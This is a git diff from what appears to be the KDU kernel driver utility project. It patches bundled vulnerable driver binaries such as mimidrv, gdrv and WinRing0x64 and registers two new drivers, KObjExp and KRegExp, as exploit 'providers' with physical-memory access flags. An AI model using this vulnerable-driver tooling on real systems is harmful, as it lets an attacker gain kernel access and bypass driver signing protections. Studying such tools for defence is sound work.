449220620fe0a63068044c62b382f47f36ce64fd..934d0097b93efb22ae61dc360c0959bcf09e0fdd 100644 GIT binary patch delta 19 bcmdmLz15m)L&FC1{(Ucv7ng73S}h9zTpI}p delta 19 bcmdmLz15m)L&FAhdr{K^n`<_5t(FAjB7ng73inIg(XvYbO delta 19 bcmaD{^tgy?L&FC1`jtWlHrH(AinIg(Wta&< diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index 96edd164df5cc0d1c62fb38bb483d744a54de5be..af1b85adf7367ddc29ce0606d5083fff0500294b 100644 GIT binary patch delta 19 bcmdmLx7ChoL&FAhd%b7Ii_151Y0CouQ#%K( delta 19 bcmdmLx7ChoL&FC1`?V8_fUjwJ};;-pI9;i}8If0HC!CzW@LL delta 24 gcmex)oAu{yR;~>V8_f6L;yq+C<(6GUr|I9Vx#pN5hn2Z5cw+Hk9 delta 19 acmeB4>q+C<(6GVWUP}4E=9-OMOvV6E5eH!a diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index fbf6832c3e1050a208bfebed4e641680abc0bc49..6ec1e625452f5a642632c5fbe1e0034f026165a3 100644 GIT binary patch delta 19 bcmbOiH7|;5L&FC1`?q?H7ng73643j0!E9=H*%eJ1psTV36%f< delta 21 dcmccG&3Lt&k!wT42J`tZ(++H|*~oR;6##Na3XA{% diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index 78726b3d4145daaba72cda304d4a220037fdf5ec..b456a6f20454d82debf2e03567cd6187a2e04d23 100644 GIT binary patch delta 19 bcmdm!x+j%uL&FC1{VMIoi_151Z88D?Tr>!} delta 19 bcmdm!x+j%uL&FAhexpkVH`i?B+GGR(T!je+ diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index 9ab9a30356740ddbb4266152f3a99eb186d9ef20..782e3579c11880d30503498123080187ec657d03 100644 GIT binary patch delta 21 dcmbPxhjH#5My?GF8_fN$JuqHezL85f4*+l838Vl3 delta 21 dcmbPxhjH#5My?GF8_e(j(mk-bW+Rty9sqTI3P%6{ diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin index e54f936d28fc992f18362d815a5e3503a76a63fc..80eaf49f037ef2555e01b874d22ea62a8cd70384 100644 GIT binary patch delta 19 bcmaFl_sEZHL&FC1`zOSW7ME}2ickjtVLS-N delta 19 bcmaFl_sEZHL&FC1`7=@uY_8eJ6`>9QW6udj diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index 610d2e77d22ace3965365c34ff7b85ae282cc040..a493f012fc5aee8d799cb3a60a3d823f3ece54fd 100644 GIT binary patch delta 21 dcmcc9!g!~Jk!wT426O+Uzs8HpH*y6z0RU;`2`&Ht delta 21 dcmcc9!g!~Jk!wT42J`syCl79}*~k^-1ORar3K{?a diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index a3056d70981eaa65c0b2bbb1ee7f5c6bc80274ed..896ff002319702962209970f761cc519af5904d7 100644 GIT binary patch delta 19 bcmaE6^~{QEL&FC1{S5j>i_151#mE8xSDFXV delta 19 bcmaE6^~{QEL&FAh{iON>n`<_5#mE8xTt^6% diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index e91766686806224c6ac8276d291466e24b4021e6..70fedb4f38c9d6a8c04df5412583c07758cf5619 100644 GIT binary patch delta 21 dcmcaNh4J1LMy?GF8_eeiUNv4^zL6`$3jl4_33C7d delta 21 dcmcaNh4J1LMy?GF8_e%-Q$Mh|W+PXK7XWg{3Jd@M diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 44fb460b8755667269dbc8a3b1654905dce22512..3420a9e1bc69acb1b869dacfd20a28890c908c1b 100644 GIT binary patch delta 19 bcmdm#uqlCSL&FC1^VUC&7ng73(l7u3UJD4R delta 19 bcmdm#uqlCSL&FC1^S(z9Zm!wLrC|U7VQ2{| diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index ce7ab692c5c99b17e90dc005549ed571f5f2d70d..85fe6b72901782fa045e4be9bcd929933e9f0f5c 100644 GIT binary patch delta 19 bcmaD>^{k3(L&FAh`&T!O7ng73im?R%Xv+zO delta 19 bcmaD>^{k3(L&FC1`K?+9HrH(Aim?R%XW9vK diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index c709d65e303d9c19305a9b619852882185792fbc..55cfd2e842db81edf3e368a2464988ac8062e291 100644 GIT binary patch delta 19 bcmdm#xha!tL&FC1_3xyN7ME}2T44eJUQGz{ delta 19 bcmdm#xha!tL&FC1`kUDYHrH(AT44eJVv`A> diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index adc800bb018fc3ac065780ee3b4a9fc36ac3a4ef..d8c5c9d7f932a23db5cbfd2b36fc284254a244df 100644 GIT binary patch delta 19 bcmcbZbuo);L&FC1|8+7(i_151xtjt2VM++J delta 19 bcmcbZbuo);L&FC1_p@^kY_8eJ3TOZT diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin index 66f4b16427ac55de070bd7e375f25b9d6d7e9194..45502906dff8de91473bfb7b4216780a340f7218 100644 GIT binary patch delta 21 dcmZ2|m~r)CMy?GF8_egcy)s^0zL9HTA^>c%3Aq3O delta 21 dcmZ2|m~r)CMy?GF8_eyK%nxj?*~qmp5ddk*34{Ou diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index 91bffd4..f6ad603 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -38,6 +38,8 @@ #define IDR_MSI_WINIO 137 #define IDR_HP_ETDSUPP 138 #define IDR_KEXPLORE 139 +#define IDR_KOBJEXP 140 +#define IDR_KREGEXP 141 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -50,7 +52,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 140 +#define _APS_NEXT_RESOURCE_VALUE 142 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index a6bc7ae..868a769 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -136,6 +136,10 @@ IDR_HP_ETDSUPP RCDATA "drv\\etdsupp.bin" IDR_KEXPLORE RCDATA "drv\\KExplore.bin" +IDR_KOBJEXP RCDATA "drv\\KObjExp.bin" + +IDR_KREGEXP RCDATA "drv\\KRegExp.bin" + ///////////////////////////////////////////////////////////////////////////// // @@ -143,8 +147,8 @@ IDR_KEXPLORE RCDATA "drv\\KExplore.bin" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,1,4,2306 - PRODUCTVERSION 1,1,4,2306 + FILEVERSION 1,1,5,2306 + PRODUCTVERSION 1,1,5,2306 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -161,12 +165,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility Database" - VALUE "FileVersion", "1.1.4.2306" + VALUE "FileVersion", "1.1.5.2306" VALUE "InternalName", "Tanikaze.dll" VALUE "LegalCopyright", "Copyright (C) 2020 - 2023 KDU Project" VALUE "OriginalFilename", "Tanikaze.dll" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.1.4.2306" + VALUE "ProductVersion", "1.1.5.2306" END END BLOCK "VarFileInfo" diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 5ed852e..d0787db 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.13 +* VERSION: 1.14 * -* DATE: 20 May 2023 +* DATE: 10 Jun 2023 * * Tanikaze helper dll (part of KDU project). * @@ -578,7 +578,37 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"KExplore", (LPWSTR)L"KExplore", (LPWSTR)L"Pavel Yosifovich" - } + }, + + { + KDU_MIN_NTBUILDNUMBER, + NT_WIN10_22H2, + IDR_KOBJEXP, + KDU_PROVIDER_KOBJEXP, + KDU_VICTIM_PE1702, + SourceBaseNone, + KDUPROV_FLAGS_NO_FORCED_SD | KDUPROV_FLAGS_PML4_FROM_LOWSTUB | KDUPROV_FLAGS_PREFER_PHYSICAL, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"Kernel Object Explorer Driver", + (LPWSTR)L"KObjExp", + (LPWSTR)L"KObjExp", + (LPWSTR)L"Pavel Yosifovich" + }, + + { + KDU_MIN_NTBUILDNUMBER, + NT_WIN10_22H2, + IDR_KREGEXP, + KDU_PROVIDER_KREGEXP, + KDU_VICTIM_PE1702, + SourceBaseNone, + KDUPROV_FLAGS_NO_FORCED_SD | KDUPROV_FLAGS_PML4_FROM_LOWSTUB | KDUPROV_FLAGS_PREFER_PHYSICAL, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"Kernel Registry Explorer Driver", + (LPWSTR)L"KRegExp", + (LPWSTR)L"KRegExp", + (LPWSTR)L"Pavel Yosifovich" + } };